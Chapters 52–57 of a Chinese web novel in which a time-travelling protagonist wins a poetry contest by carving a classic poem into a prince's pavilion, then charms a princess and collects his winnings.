《逍遥小诗仙》
第52章 闯下大祸了
“这是?”
程修齐脑袋上明显有个大大的问号,“江贤弟,你不要开玩笑!”
现在什么东西都能值八百两了吗?
一卷红色的锦书,既不是陛下颁布的圣旨,也不是房产地契,凭什么说它值八百两?
“江云帆,你真是没脸没皮!”
没等江云帆解释,一只雪白素手便突然伸向了桌面,一把将那婚书夺了过去。
抢婚书的人,自然是许灵嫣。
此刻她看江云帆的眼神,比起先前厌恶了好几倍,对这三少爷的认知,也再一次刷新了下限。
这家伙,婚书都还没卖掉,就直接用来当赌注了?
还有什么卑劣的事是他江云帆做不出来的!
见婚书被抢走了,江云帆表情也不好看了:“许小姐,强取他人财物,可是要上官府的哦!”
“咱们交易达成,这东西已经是我的了!”
许灵嫣狠狠瞪了他一眼,又转头看向程修齐,“程公子,江云帆的东西我收下了,待会他若是输了比试,那八百两我替他付。”
她知道江云帆但凡敢应下比试,那就必输无疑。
可若是婚书落在程修齐的手上,那她与此等废物定下婚约之事,估计就会传遍整个京城。
她可不想别人背后议论。
“这……”
程修齐尚且云里雾里,也没明白江云帆掏出来个什么东西,竟惹得灵嫣小姐这般紧张,甚至还要帮他支付赌金。
但想来对方是灵嫣小姐,户部尚书的千金,京城四美之一,她说的话,值得信。
“那好,江贤弟,你意下如何?”
“可以。”
江云帆点点头,他也不怕许灵嫣拿了婚书后耍赖,尚书千金还不至于这样败坏名声。
“既如此,那咱们就以眼下的镜湖之景为题,赋诗一首,诗成之后,在场之人皆可评判!现场可有纸笔?”
“有。”
镜湖风景宜人,许灵嫣游览之时极易临时起兴,故而时刻备好了纸笔。
她给小缘使了个眼色,后者立马从一旁的长椅上拿来了书箱,并从中取出笔墨纸砚,研好墨,铺于桌面。
程修齐摆好架势,右手提笔,左手压纸,还给了江云帆一个礼貌而谦逊的微笑:“恐贤弟久不作诗,手上生疏,程某年长,且先行写下,贤弟待会也可仿略一二,找找灵感。”
江云帆没有说话,而程修齐已然开始动笔。
毛笔在纸上有节奏地舞动,一番行云流水,一列列文字迅速生成。
很显然,这人早就把诗准备好了,现场写下,就称即兴而作。
果不其然,不消片刻,诗成。
“哗啦!”
程修齐潇洒起身,双手握住那白纸,凌空提起。
而后,眉头微蹙,眼神深邃,将那纸上诗文,大声朗诵而出:
“暮湖!”
“斜阳浸晚湖,翠盖叠青芜。”
一边念,他一边迈动脚步,走到亭栏临湖处,目光远眺,手指划过天空,声音昂扬:“风翻碎玉声,白羽破烟图!”
“好……好诗!”
“**啪……”
小缘直接激动地鼓起了掌,看着程修齐的背影,眼中光芒闪烁。
她不会写诗,但时刻跟随许灵嫣身旁,听过的诗可不少。
程公子这首,与小姐平日所写诗作一样,都用短短几句,勾勒出了一幅美轮美奂的画卷,听得人仿佛身临其境,感触颇深。
“确实是好诗一首。”
相比于小缘,许灵嫣的点评就详细多了,“斜阳与莲叶,飞鸟与风声,这镜湖美景只在片刻便跃然纸上,程公子名不虚传!”
说罢,她朝程修齐竖了个大拇指。
“让灵嫣小姐见笑了。”
能得到京城四美之一这般评价,程修齐心里十分得意,嘴角的弧度根本压不下去。
此刻他看着端坐于石凳上的江云帆,更想笑了。
他似乎已经能够预见,待会江云帆因为憋不出诗来,急得抓耳挠腮了。
只能说自作自受!
本就只是交流一番,写不出诗顶多就是丢人,可这小子毫无自知之明,非得下点赌注。
这下好,人丢了,钱也丢了。
当然,贵族公子的礼仪和大度,他还是得表现出来:“江贤弟,你若实在写不出来,我也可以与你指点一二,看在你哥江元勤的份上,我不会计较太多。”
江云帆没看他。
只在心里无语:这人戏真多。
要换做平时,他基本不会搭理程修齐这种人,更别提当着这么多人的面写诗。
人前显圣固然很爽,但那是有代价的。
一旦暴露太多“才华”,又被人加以宣传,往后秋思客栈和他的桃源居,怕是要被踏破门槛。
若是卷入那些高层人的世界,估计这辈子都过不了安生日子了。
而他今日之所以应下比试,主要原因有三个。
第一,他缺钱,要想在这大乾王朝开辟自己的产业,启动资金是越多越好。
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第二,他缺情绪值,必须在午夜十二点前拥有四千情绪值,才能兑换电动车。
而还是那句话,最快捷获取情绪值的方法,就是以诗慑人。
至于第三个原因,那就是与江元勤臭味相投的人,都有病,得治!
“江少爷,能写吗?”
许灵嫣嘴角挂着淡笑,亲手递过来毛笔,想看江云帆出丑已经迫不及待了。
“我不习惯用毛笔。”
江云帆转过头,视线落在亭柱旁,那位从始至终保持沉默的黑衣女子身上,“墨羽姑娘,可否借你腰间**一用?”
“你要**做什么?”
“当然是写诗,不然还能捅人啊!”
墨羽眯了眯那双丹凤眼,心中思忖片刻,想到这亭中有她,还有两位王府的将领,以江云帆的武力,确实翻不起浪花。
二来,郡主似乎很喜欢这家伙煮的面条。
所以她最近对江云帆印象倒改观了不少,起码这人不像许灵嫣描绘的那样不堪。
“刃锋很利,谨慎使用。”
她拔下腰间**,远远丢给江云帆。
“谢了!”
江云帆反应还算迅速,探手便牢牢抓住。
随即将那匕鞘一拔,迈着大步走到念荷亭的立柱前。
见他这般举动,许灵嫣顿时一惊:“江云帆你要干什么?”
“给这亭子题诗。”
“你疯了?!”
饶是作为户部尚书之女的许灵嫣,此刻也被吓得冷汗直流,“你知道这亭子是谁建的吗?胆敢将你那些狗屁不是的东西刻在上面,把整个江家颠了也救不了你!”
许灵嫣很清楚念荷亭的由来。
那可是南毅王为王妃修建的!
若是其他事情,以王爷的心胸自然不会与凡夫俗子计较,可这关系到王妃,那是他的软肋!
龙之逆鳞,触之即死!
“疯子!”
程修齐也有些慌了,“你你……有纸笔你不写,非得往柱子上刻,你能写出的诗有多少水平自己不知道吗!当你是入云归雁啊?”
“咔!”
两人话音刚落,江云帆的**已然落了下去。
这**当真削铁如泥,刻在木头上,轻而易举就留下了半指深的痕迹。
一时间,全场寂静……
许灵嫣等人来不及阻止,只能眼睁睁看着江云帆的手腕翻飞,一个个东倒西歪的文字快速成型。
完了。
许灵嫣的心已然凉了半截。
闯大祸了……
第53章 接天莲叶无穷碧,映日荷花别样红
江云帆之所以非得在亭柱上刻字,并不是为了在人前装逼。
是他实在写不了那毛笔字。
若是21世纪的简体还好,以他上辈子的学问,还能对付一二。
可这大乾王朝的字体,形似古繁体,却又有着不小的区别,自打他穿越到此三个月有余,已经花了大把的时间去识字辨音,即便如此也依旧有很多字不认得。
识字尚且如此困难,又何况是亲自动笔书写?
所以江云帆笔下的字,丑得出奇!
都说见字识人,一个人如果字写得足够好,别人一看作品就能猜到作者。反之如果字写得足够丑,也有同样的效果。
当日他往王府楼舫上投送那篇《青玉案·元夕》,就已经展示过一次书法。
此刻如果再展示一次,必然会被许灵嫣这帮人认出来!
那样一切都暴露了。
用刀往那木柱上刻,虽然也丑,但好歹能够掩盖自己的笔风笔迹。
此外,江云帆自然也知道这亭子是南毅王修建的。
要说不怕对方怪罪,那是不可能的,毕竟他还想好好苟活一辈子。
之所以敢把诗句往柱子上刻,是因为他曾经听说过,在那南毅王建好念荷亭之后,便向外发了公示,凡有能为此亭题诗赋词者,授重赏,并立牌铸坊,将其文章刻于其上。
堂堂亲王,应该不至于说话不算数。
忽而此时,江云帆感觉背后有一股寒意袭来。
眼睛余光一瞥,发现正是将**借给他的女侍卫墨羽。
“你最好写出点东西来,否则……”
方才墨羽便已经将那九龙纹剑出鞘,闪身来到江云帆身后,一双眸子冷得吓人。
她也被吓到了。
毕竟**是她借给江云帆的,对方闯下大祸,自寻死路便罢了,却还要拉她垫背!
墨羽本打算一剑斩掉江云帆。
但想了想,既然大错已经酿成,留着这家伙,也好带回去让王爷亲自处罚。
被人用剑指着,心中难免紧张。
所以江云帆握**的手也抖了几分,刻下的字更丑了。
在场的人都没再说话,亭中气氛安静,唯有刀刃不断切割木材,发出“咔咔”的声响。
然而,随着江云帆的刻刀下积字成句,众人的慌张逐渐停止了。
取而代之的,是疑惑,是惊异……
许灵嫣张了张嘴,不知该说什么,于是又给闭上了。
倒是程修齐,盯着那歪歪扭扭的文字,眉头深皱,跟着就念了出来:
“毕竟镜湖七月中,风光不与四时同。”
首句便以宏观模糊的角度,点出镜湖的独特的季节,迥异的景致。
没有一上来就舞文弄墨,就文辞水平与意境而言,反倒有些浅淡,但恰恰又巧妙地写出了七月镜湖的与众不同。
“这小子,居然还真有些实力。”
程修齐的眼神严肃了几分。
这当真是江元勤口中的那个废物,人人鄙弃的败家子吗?
他与许灵嫣一样,所惊异的并非这两句诗本身,而是这两句诗,乃是由江云帆所写……不谈水平高低,最起码能够看得过去。
但,估计也仅此而已了。
此时此刻,江云帆已从长椅上下来,侧身闪过墨羽的长剑,转而来到另一侧的亭柱前。
众人目光汇聚,随着江云帆一同跨上这边的长椅,又见他再次将**举起,一刀一刀划在那漆黑的木柱之上。
而这一次,则是许灵嫣开口,将这首诗的下联一字一句念了出来……
“接天莲叶无穷碧。”
“!”
此句一出,在场之人无不呆滞原地,忘记呼吸。
许灵嫣只觉得脑中一闪,一片弥漫天涯的绿色,席卷所有的视线。
何等辽阔,何等浩瀚?
此般意境,才称得上真正的美轮美奂!
放在平时,程修齐的那首暮湖便已经堪称罕有佳作了。可与江云帆刻下的这首诗一比,无论是描写之角度,设计之巧思,抑或是文才之高低,语言之节奏,都可谓相去甚远!
程修齐也有些懵了。
他用力瞠着一双小眼,看着江云帆的背影,微张的嘴巴已然忘记合上。
妙啊,实在是妙!
他不得不承认,江云帆的这首诗,以他现在的实力,绝无可能写出来!
不对……还有一句!
程修齐与许灵嫣几乎同时反应过来,视线重新聚焦,这才发现江云帆的**已经停了,而这首诗的最后一句,也完完整整地展现眼前……
这一次,两人的身体几乎都僵硬了。
最后是程
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修齐,机械般地张开嘴巴,将那下联缓缓念了出来:
“接天莲叶无穷碧,映日荷花……别样红。”
映日荷花,别样红……
一刹那,许灵嫣眼前的那片茫茫翠绿,被点缀上了无数瑰美的霞红,整个镜湖的绮丽风景,完美在脑中复刻。
这……这真的是诗吗?
她第一次从一首诗中体会到这样的感觉,简简单单的文字,没有跌宕起伏,也没有参差突兀,却将那美景写得让人回味无穷。
这便是诗中有画、画中有诗的至高境界!
相比之下,程修齐那首诗,肤浅到为之提鞋都不配!
“唔……咳!咳咳咳……”
恰在此时,程修齐忽然剧烈咳嗽起来,手掌用力捏住脖子,像是被尖骨卡住了喉咙,憋得大脸充血。
他不是咳嗽病犯了,而是方才忘了呼吸,等回过神来赶紧大吸一口,却被口水给呛了。
待缓过气,又一屁股坐在地上。
看着两根亭柱上的诗文,程修齐脸上写满了惶恐。但此刻他的内心,远比表情更加动荡。
不久前的一幕幕,正从脑海中闪过,他仿佛听到自己在说:
【元勤的弟弟,便是我程某的弟弟!】
【恐贤弟久不作诗,手上生疏,程某年长,且先行写下,贤弟待会也可仿略一二,找找灵感。】
【江贤弟,你若实在写不出来,我也可以与你指点一番,看在你哥的份上,我不会计较太多。】
呵呵。
程修齐好想笑啊。
还指点别人?还让别人仿略一二?还一口一个贤弟?
凭什么啊,我也配吗?
回头听这些话,就像刚上私塾的孩童,要教国经院大儒识字一样可笑!
此时此刻,程修齐恨不得在这亭子里找个石板缝,把脑袋给塞进去,假装别人看不见自己。
但那不现实,江云帆的目光正盯着自己呢!
怎么办?
程修齐慌了,他怕的不是输了玉佩,而是从来没丢过这样的人,尤其还当着灵嫣小姐的面。
空气陷入短暂凝滞。
但随即,一道清丽婉转,却又带着几分威严的女声,自那念荷亭下、莲叶密布的湖中悠悠传来,瞬间打破现场的宁静。
“谁人在亭上题诗?”
……
第54章 初见秦七汐
镜湖之畔,念荷亭下,一片莲叶丛生。
在那莲叶之间,密密麻麻点缀着红色荷花,荷花迢迢辉映斜阳,随即也染上了斜阳的红。
恰如柱上诗言,红上加红,便是别样的红。
而此时此刻,在那湖水当中,正有一艘小船,从中拨开迤逦的莲叶荷花,朝着湖岸的亭子,无声滑翔而来。
船头俏立一女子。
体姿修长,窈窕挺拔,着一身素色长裙,裙上金丝云霞点缀,映那夕阳,由白转绯,由于水中投下倒影。
女子长发垂腰,又在头顶盘髻,琉璃玉钗自发丝间穿过,晶坠微微摇曳。
其面容娇美,似仙子临凡。
奈何神色冷峻,眼神凛然,只远观便知不可亲近。
当真是美艳万般,可偏偏那张白皙稚嫩的脸上,自脸颊至颌尖,竟沾染了一大团乌黑的淤泥。
于是原本的仙姿与冷酷瞬间少了几分,反倒是多了几分滑稽。
江云帆本来是想笑的,但他忍住了。
毕竟那样很不礼貌。
见女子出现在亭下,许灵嫣立刻将情绪从方才的震惊当中抽离,转而露出一抹勉强的微笑:“小汐,你游湖回来啦。”
相比许灵嫣,其他几人反应就大了。
程修齐、墨羽,以及许灵嫣背后的侍女小缘,竟齐刷刷单膝跪了下来,口中高呼:“参见郡主!”
郡主?
江云帆心里一咯噔。
我勒个去,敢情船上那花脸女子,就是传说中的江南第一美人、江南第一才女、大乾军神南毅王之女、当今陛下亲封之临汐郡主——秦七汐!
同时,也是他的大奶牛……哦不,财神爷!
江少爷心有余悸地捏了把汗。
还好刚才没笑。
这时候,小船已经摇到了离岸十步之处,隔着中间长长的石梯,秦七汐一双美眸冷冷地望着亭中。
视线在那两根**云帆刻了字的亭柱间游动。
紧接着,红唇轻启,缓缓念道:“接天莲叶无穷碧,映日荷花别样红。最是镜湖七月中,风光不与四时同。”
念完之后,心里一惊。
这诗的首联,当真是意境非凡,竟通过短短几样景物,便将整个湖光水色,莲塘红日的美景,如画卷一般铺展开来。
但结合次联再看,又显得语序奇怪,意义混乱。
这让秦七汐怎么看怎么觉得别扭。
她目光下移,很快便注意到在那亭柱下的长椅上,此刻正站着一位男子。身披麻质长衣,一头罕见的短发,发丝苍劲,竟不自然垂落。
隔着亭子顶部的一角所投下的阴影,她看不清那男子的脸,只知道对方也在注视着自己。
忽的,那男子竟抬起一只手,朝自己竖了一个大拇指。
“郡主好视力!”
接着,那家伙咧嘴笑了,“就是顺序念反了。”
念反了?
秦七汐有些疑惑,竖向书写的无论是诗文还是对联,不从右至左念,难道还能从左往右念?
这是哪个王朝的习惯。
她不明白,但也没想太多,试着将那诗文的首尾两联调换顺序,再念了一遍:
“最是镜湖七月中,风光不与四时同……”
到此秦七汐顿了一下,似乎对味了。
“接天莲叶无穷碧,映日荷花别样红。”
好诗!
当真是好诗,这还是她第一次见到一首写景诗,能如此完美地将景物如画卷般展示出来。
秦七汐甚至敢确定,哪怕是乾文阁五层乃至六层中所收录的写景名篇,也很难与这首诗相媲美!
【叮,震惊达成,来自秦七汐的情绪值:+648!】
爽!
江云帆在心里直呼快哉,大奶牛就是给力!
就在先前,他已经收到了来自许灵嫣和程修齐的情绪值,前者提供了305点,而后者奖励倍率低得可怜,居然只有60点。
又是想诗又是雕刻,江云帆甚至都觉得白瞎了这一番力气。
关键这样根本就不够情绪值去兑换电动车!
好在人美心善的郡主殿下及时赶到,给他狠狠冲了一波648!
感谢郡主!
“青璇,把船靠岸。”
秦七汐对着身后摇桨的青衣女子吩咐了一声,后者立刻加快速度,三两下把船划到了岸边,与亭下的石阶相接。
接着郡主殿下提起裙摆,自船上迈出一条修长的腿,让雪白的长靴稳稳踩上石阶。
“郡主您慢点儿。”
名唤青璇的女子在后面小心搀扶,但秦七汐却不予理睬,顺着梯子自顾自
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地往上走。
她心里自然难掩激动。
今日见此诗,虽然远比不过文会上那首“东风夜放花千树”一般惊艳,但还是在她心里激起了不小的涟漪。
上到亭中,许灵嫣立马上前扶住她的手,以防摔倒。
可就在这时,原本跪地的小缘突然腾地站起身,伸手一指江云帆。
“郡主,就是这个人,他无视我等劝阻,执意要在亭柱上刻字,我们拦也拦不住!”
没等秦七汐回应,许灵嫣便回头横了她一眼。
郡主的事,哪轮得到你一个丫鬟多嘴?
小缘自然明白意思,赶紧缩着脖子躲到一旁。
然而这时墨羽也低头抱拳,开口请罪:“郡主,是属下无能,没能阻止江云帆胡来。”
“无妨。”
秦七汐摇摇头,注意力全在那诗文上,目光忽然深邃黯然,“这首诗落在此处,刚好。”
是啊,这座念荷亭,没能等来那个赏荷的人,但好歹等来了属于它的诗。
也算圆满了吧。
伤感片刻,她又很快平复好了心情,将目光移向亭中的男子。
“你就是江云帆?”
果然,许灵嫣说得没错,这人生得英俊,其长相,与杨文炳画上的彦公子十分相似。若非彦公子留着长发,而江云帆是短发,很可能会认错。
只是秦七汐看这张脸,莫名有种很熟悉,又很奇特的感觉。
总之就是,看着挺舒服。
江云帆自信而不失礼貌地低了下头:“在下小人物,能被郡主记住名字,实在荣幸!”
说话之间,他又在对方沾满淤泥的脸上多瞥了一眼。
这动作被秦七汐给注意到了,小郡主顿时秀眉微蹙:“怎么,我脸上有东西?”
说罢,她还伸手往面颊上一拂。
这一拂倒好,原本只是从脸颊染到下巴的淤泥,直接给抹到了鼻翼和耳根子上去。
江云帆双眼一瞪,努力憋笑。
这财神爷太搞了!
可秦七汐何其敏锐,一眼便捕捉到他的表情变化,脸色当即一沉:“你是在笑我?”
“不,没有。”
江云帆连忙矢口否认,“殿下,是这样,那个我是专业的,无论多好笑我都不会笑……除非忍不住噗哈哈哈……”
第55章 你真不是在编?
夕阳的辉光,自亭柱之间的缝隙斜照而下,恰好将秦七汐的半边侧脸映成了金色。
即便有着面纱的遮蔽,但在高挺的琼鼻分割下,那张脸还是形成了光暗分明的轮廓。
空气有些安静。
秦七汐盯着江云帆来回看了几眼,但那眼神又有些飘忽,东晃晃西瞧瞧。
江云帆自然注意到了她的目光,心里有些搞不明白。难道这郡主殿下每次见到生人,都这样瞟来瞟去吗?
怀着纳闷,江云帆也回以凝视。
但他立马就发现了异样。
秦七汐的额头一侧,居然印着一块黑疤。
怎么好好一姑娘,额头上长疤呢?不对……细看之下,那不是疤,而是一团乌黑的淤泥,从额间至眼角,牢牢沾染在皮肤上。
秦七汐似乎也感觉到了脸上的不适,伸手往额前一拂。
这一拂倒好,原本只是一小团的黑泥,直接给抹遍了半边额头,甚至连发丝上也沾了不少。
江云帆双眼一瞪,努力憋笑。
这财神爷太搞了!
秦七汐何其敏锐,一眼便捕捉到他的表情变化,眼睛眨了眨:“你在笑我吗?”
“不,没有。”
江云帆连忙摆手否认,“殿下,是这样,我是个严肃的人,无论多好笑我都不会笑……除非忍不住噗哈哈……”
听到这笑声,秦七汐紧紧皱起眉头。
难不成这江云帆真像许灵嫣所说的那样,脑子有问题?
“郡主。”
就在这时,青璇的声音忽然从旁边传来,“你脸上……有莲泥。”
秦七汐:“?”
青璇有些尴尬地笑了下,连忙从腰间取出一张白色手帕:“应该是适才拔莲叶的时候糊上的,我这就去把手巾打湿。”
“算了。”
秦七汐扬了一下手臂阻止,眼神郁郁,“随他吧,没什么影响。”
确实,没什么影响。
这一点江云帆非常赞同,因为即便是面纱遮脸,紫黑色的泥浆又糊了大半个额头,却还是掩盖不住郡主殿下精致的姿容和无可挑剔的气质。
不得不说,秦七汐作为公认的“江南第一美人”,颜值这一块还是非常能打的。
但小郡主心里的想法,他又哪里捉摸得透?
前一秒还说没什么影响,下一刻就抓着青璇转身,亲自走向湖边去洗脸了。
不止江云帆,就连许灵嫣也看不明白,自己这平日大大咧咧的好姐妹,今天是怎么了?
换作以往,她就算是拎着包子往街边一座,把小嘴给狠狠塞满,也不会讲一句在乎形象。而今天都还戴着面纱呢,也会在意额前的一点点泥污?
“喂,程兄,快起来了!”
秦七汐走后,江云帆再度把注意力移到了程修齐身上。这都过去多长时间了,程公子居然还在地上跪着。
“呼……”
程修齐大吐了一口气,扶着石桌的边缘,颤颤巍巍爬将起来。
那张大脸的颜色,黑里透红。
他哪里是主动想跪?分明就是先前见到柱上那首诗的时候,无地自容、悲痛欲绝、浑身颤抖,把腿给吓软了,站不起来而已。
倒是江云帆心地善良,主动上前搀住他的手臂,嘴角带笑。
“嘿嘿,程兄小心,千万别把玉佩给摔坏咯。”
“呃……”
程修齐闷哼一声,差点一口气堵死在喉咙里。
他属实没想到,江元勤口中的这个废物弟弟,居然能写出如此令人惊艳的诗句来。
此般文才,恐怕早就在他这等二甲进士之上了!
时间过得很快,不久后,秦七汐领着青璇回来了。
郡主殿下额间的污泥已然洗净,取而代之的,是一片雪白细腻的肌肤,更显娇俏俊美。
“江公子,咱们坐下聊。”
秦七汐伸手示意,邀请江云帆在石桌旁坐下,“敢问公子,柱上这首诗,你是如何做到仅用短短几字,便将镜湖之景融入其中的?”
“唉,这个说来可就话长了。”
江云帆眉头深皱,表情深沉,心中大呼:对不住了,杨万里!
“那日我于湖畔垂钓,因天气酷热,空气沉闷,故而身体犯困。便就着岸边的草垛小憩了片刻,也就是这一憩,让我做
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了一个离奇的梦……”
江少爷声情并茂,开始演讲起来。
“在那场梦里,我见到了一位面容沧桑,身形消瘦的老者。那时他正立于湖边,面朝夕阳欣赏湖景,与水中那成片的莲叶,丛生的莲花,恰到好处地融为一体。”
“结果当我醒来,脑子里一片清明,那接天莲叶的场景,就好像天生刻在了骨子里!”
“今日来到湖边,恰巧程公子提出比试,我一提笔,这首诗便汹涌而来!故而在下认为……”
说着,他无比严肃地看向秦七汐,“正是那位梦中老者,给了我启示。”
多么抽象而离谱的故事!
江云帆甚至自己都觉得牵强,哪有把理由往玄学上扯的?
但毫无疑问,这样编一通的结果是最好的。
既承认这首诗是自己亲手所写,不至于让程修齐钻空子不认账。又把功劳归给梦中老者,从而洗清自己“才华横溢”的嫌疑,防止一朝出名天下知。
可谓一举两得!
至于别人信不信,他不管。
很显然,许灵嫣就不信:“我为何没梦到什么白须老者?”
“你以为什么人都能梦到?”
“可天底下怎么会有这样离奇的事,你真不是在编?”
“若我在编,那这诗文又是从何而来?”
“……”
许灵嫣无言了。
想想倒也是,相比于这首诗是由江云帆自行创作,梦中老者点拨这个说法,似乎更容易接受一点。
与许灵嫣不同,坐在石桌另一侧的秦七汐没有质疑。
她全程听得聚精会神,每当江云帆讲到要点时,她还会点头予以回应。
这会江云帆的故事讲完,小郡主只点评了一句:
“很奇妙!”
看她那样子,仿佛从江云帆的三言两语中,也见到了那片弥漫在梦境里的莲塘。
至于眼前男子所言到底是虚是实,她不在意。
她只在意这首诗,让她心中一潭死水般的大乾文坛,再起了一道圈波。
关键的关键……
作这首诗的人,她看着很顺眼。
第56章 小姐带钱了吗
“各位,在下方才所言,句句属实!”
目光深沉,神态端庄,江云帆再度激活了他的演员特技。
没办法,孤身一人来到另一个世界生活,既不懂规则,也没有势力,若是身上再没有点演技,怕是要被人给算计惨,或许连**的都不知道。
就好比眼前这位郡主殿下。
看着傻乎乎的,眼睛东瞥瞥西看看,似乎很好骗的样子。但实际上内心精得很,绝对没那么容易对付。
当然,诗也写了,话也说尽了,战利品是不得不要的。
“这首诗能成,虽不是我江某一人之功,但也确确实实是从我手中诞生的,所以程兄……”
江云帆转过头,再度将目光锁定在程修齐身上,“现在你我诗文都已写好,在场之人皆可评判优劣,一旦结果产生,咱们可都得愿赌服输啊!”
“不用评判了。”
哪里还用得着别人评判?程修齐自己都有能力评判了,他写的那首《暮湖》,在江云帆的诗作面前,就是一滩烂泥!
二者之间,根本就是一个天上,一个地下。
还有什么好比的?
“我愿赌服输,这便履行约定。”
程修齐说罢,伸手摘下了腰间的白玉,双手奉上,“这块玉佩,无论是放在何处的珍宝行,估价都不会低于千两白银!云帆兄,请笑纳!”
“程兄太客气了。”
笑纳,江云帆果然是笑着收下了。
说来这程修齐也是态度大变,方才还在喊贤弟,这会居然直接改口叫云帆兄了。
所谓识时务者为俊杰,江云帆很欣赏这样的人!
将那玉佩揣进衣兜,江云帆目光一转,又笑着看向秦七汐。
秦七汐神色一紧,总觉得他这笑容不怀好意。
果不其然,江云帆开口便问:“如果在下没记错,刚才郡主可是说过,这首诗落在此处,刚好?”
秦七汐点点头。
她自己说过的话,自然得承认。
“那郡主可有听说,当年这念荷亭建成之后,王爷曾对外宣称,凡是能为此亭题诗的,可得王府奖赏,不知还作不作数?”
好家伙,这是主动索要赏赐来了!
一旁的许灵嫣等人听得是直皱眉。
倒是秦七汐不恼不怒,她觉得眼前这男子越来越有意思了,作何形容呢……好像有点没脸没皮,但似乎又可以用认真直率来形容。
“此事我确实有所耳闻,不知江公子想要什么样的奖赏?”
“很简单,只需郡主帮我写一幅字。”
“一幅字?”
“不错。”江云帆严肃了表情,伸手一指远方湖湾深处的客栈,“明日便是七月七的镜源万灯节,秋思客栈将推出一种新酒,名为‘茅台酿’,届时各位都可到场免费品饮。”
“而我想请郡主帮忙题的,便是‘茅台绝酿’四个字!”
江云帆很清楚,要想做大做强,把茅台酿推向整个江南,乃至整个大乾,成为取代传统三大国酿的天下第一酒,光靠秋思客栈自身那点名气是不够的。
即便酒再好,没有足够的推广,也是白搭。
而秦七汐作为江南第一才女、南毅王秦奉的掌上明珠,其在文坛、政界、商界包括民间,都有极高的知名度。
若是能让她为茅台酿题字,就相当于拿到了郡主的代言。
如此一来,最好的广告便有了!
“茅台绝酿……”
秦七汐轻启红唇,将这四个字重复了一遍。
如果她没有猜错,昨日墨羽取回那半壶美酒,应该就是江公子口中的茅台酿。
确实是好酒。
昨夜王府楼舫上,她与许灵嫣就着那半壶茅台酿,啃光了两只烧鸭。
每次只浅尝一点,生怕不够喝。
她若能亲自为如此佳酿题字,似乎也是好事。
但小郡主的眼珠子提溜一转,忽而灵机一动:“当然可以,江公子,明晚我便到秋思客栈,亲手为其题字。这样一来,本郡主是否也算得参与了美酒的首次推广?既然如此,那江公子是不是也应该有所表示,将那茅台酿赠我两壶?”
江云帆微微一笑。
好,很好。
他果然没有看错眼前这个漂亮女人,主打一个绝不吃亏,她哪里是省油的灯?
“成交,那就明晚戌时三刻,我在秋思客栈恭候,对了……”
江云帆突然想起一
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件事,一脸郑重地看着秦七汐。
“殿下,你身上有四百两吗?”
“……”
此话一出,全场茫然。
而刚折了玉佩还在痛心的程修齐则是面容一僵,有些不敢置信。
青璇、墨羽以及小缘三位侍女,满脸疑惑地看着江云帆。
什么意思?
这是在问郡主有没有钱吗?
许灵嫣更是气得不行,脱口便出:
“江云帆你疯了?”
她自然知道江云帆为什么会问出这个问题。
是因为那封婚书。
他们先前已经商量好,婚书总计八百两,她要找人借来四百两,而这个人显然就是秦七汐。
但就这样堂而皇之地问郡主身上是否带有四百两,这江云帆未免也太过无礼,太过胆大!
秦七汐可是皇族!
是南毅王之女,陛下亲封的临汐郡主!
哪怕是她,作为尚书府的千金,秦七汐的知心好友,却也在平时的相处中,保持着绝对的敬重与卑顺。因为她知道,贵族与皇族之间的身份差距,是万万不可逾越的鸿沟!
可江云帆呢?他不过是一介平民。
哪有一介平民,开口就问皇族身上带没带够四百两的?
他是不知道天高地厚吗?
“好像有。”
好像有?
那道清婉的声音响起,直接将众人的惊疑推向了顶峰。
这话当然是秦七汐说的。
离奇就离奇在,这样的回答,明显就是在顺着江云帆的意思。
此刻所有人的目光,都汇聚在秦七汐身上。
小郡主戴着面纱,自然看不出表情。但那双暴露在外的眼睛,却明显透着几分呆傻。
“青璇。”
她微微转身,望着侧后方的青璇,伸出修长的五指,“你带钱了吗?”
“带……带了。”
青璇本来还是懵的,但郡主都发问了,她除了如实回答还能怎样?
说罢,她便从袖带之中取出厚厚一叠银票,放在秦七汐手心。
江云帆看得心惊肉跳。
都是一千两面额的啊!
看那厚度,起码二三十张,这就是郡主殿下随身携带的零花钱吗?
第57章 明晚客栈见
“这是一千两,若接了,那你与灵嫣之间的婚事,从此便彻底斩断了。”
“放心吧郡主,我江某绝不反悔!”
收下一千两银票,江云帆心里美滋滋。
一千两啊,在这大乾王朝,已经算笔巨款了。如果用来买房,足够在凌州城的核心区域,买下占地超过二十亩的超级大豪宅。甚至在帝京,也能搞定一处不错的容身之所。
这笔钱再加上程修齐的玉佩,足以支持商业计划的启动。
“你的鸡精面,色鲜味美,我很喜欢,愿意用双倍的价格购买。每日饭点,我会派人来秋思客栈,你且将‘外卖’备好。”
“没问题,那我便回去恭候了!”
江云帆朝秦七汐点头行礼,转身出了念荷亭,朝着那湖湾深处悠哉悠哉而去。
秦七汐望着他的背影,沉思良久。
“灵嫣,你说这江云帆,到底是个怎样的人?”
“没用的人。”
许灵嫣回答得很干脆,“小汐,你千万不要被他的表象给蒙蔽了。就算他今日写出了一首好诗,那也不能改变他人人唾弃的事实,你好好想想,能被家族扫地出门的人,真的能有写诗的本事吗?”
许灵嫣对江云帆的认知,早就已经根深蒂固了。
所以即便今日亲眼看见江云帆把诗刻在了亭柱上,她也依旧不相信。
其实有关那桩婚约,她早在十岁以前就已经知晓了。当时的她才刚搬到京城不久,入了国子院就学,小小年龄就凭借一首小诗而名扬整个学院。
得知自己有一个未婚夫在凌州,且对方还是名门江家的子嗣,许灵嫣便隐隐有些期待。
因为她知道,江家人才辈出,其中从文者多有建树,并且他们的血脉里仿佛有一种天性,极其擅长题诗赋词。
许灵嫣喜欢诗,她对自己未来夫婿最大的要求,便是能在诗文上,与她产生共鸣。
然而就在两年前,凌州的风吹到了京城。
将那江家三公子的种种劣迹,都吹进了她的耳中,那时的许灵嫣方才知道,自己的未婚夫,居然是个十足的废物!
可偏偏那一纸婚书,又牢牢牵扯着他们俩。
随着她在京城崭露头角,被越来越多的人熟知,并且还被冠上了“京城四美之一”的称号。那时的尚书府门前,达官贵胄成群结队,都是为了上门提亲,其中不乏文采斐然、英俊风流的京都才子。
但父亲始终心有顾忌,担心与江家三公子的那桩婚事,会成为一个危及许家名声的隐患,只得拒绝所有的提亲者。
正因如此,许灵嫣对那个素未谋面的未婚夫,也越加反感。
直到三个月前,她终于难忍心头烦闷,亲自回到凌州,去江家退婚。在见到江云帆后方才知晓,他本人比传言中更加一无是处,德行低劣。
也就是自那时起,许灵嫣便发誓要与江云帆彻底撇清关系。
“嗯,或许吧。”
听完许灵嫣的回答,秦七汐的表情变得若有所思。
她又盯着江云帆消失的地方看了片刻,而后缓缓开口道:“明晚的万灯节,咱们去秋思客栈看看吧。”
